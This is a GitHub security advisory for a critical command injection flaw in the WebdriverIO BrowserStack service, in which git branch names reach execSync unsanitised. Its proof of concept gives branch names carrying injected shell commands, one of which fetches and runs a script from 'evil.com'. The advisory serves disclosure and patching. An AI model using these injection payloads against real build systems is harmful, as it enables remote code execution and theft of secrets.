Skip to content

WebdriverIO BrowserStack Service has a Command Injection issue

Critical severity GitHub Reviewed Published May 11, 2026 in webdriverio/webdriverio • Updated May 11, 2026

Package

npm @wdio/browserstack-service (npm)

Affected versions

<= 9.23.2

Patched versions

9.24.0

Description

Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.
Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"

Attack Vector

  1. Attacker creates a malicious git repository with a branch name containing command injection payload
  2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
  3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name
  4. Branch name is interpolated into shell commands without sanitization
  5. Shell interprets special characters and executes attacker's commands

PoC

Step 1: Create Malicious Repository Branch

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"

Step 2: Configure WebdriverIO

// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}

Step 3: Run Tests

npm run wdio

Step 4: Verify RCE

# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt

Impact

  • Remote Code Execution on CI/CD servers or developer machines
  • Information Disclosure (environment variables, secrets, credentials)
  • Data Exfiltration (source code, SSH keys, configuration files)
  • System Compromise (backdoor installation, lateral movement)
  • Supply Chain Attack (modify build artifacts)

References

@erwinheitzman erwinheitzman published to webdriverio/webdriverio May 11, 2026
Published to the GitHub Advisory Database May 11, 2026
Reviewed May 11, 2026
Last updated May 11, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-25244

GHSA ID

GHSA-5c46-x3qw-q7j7

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.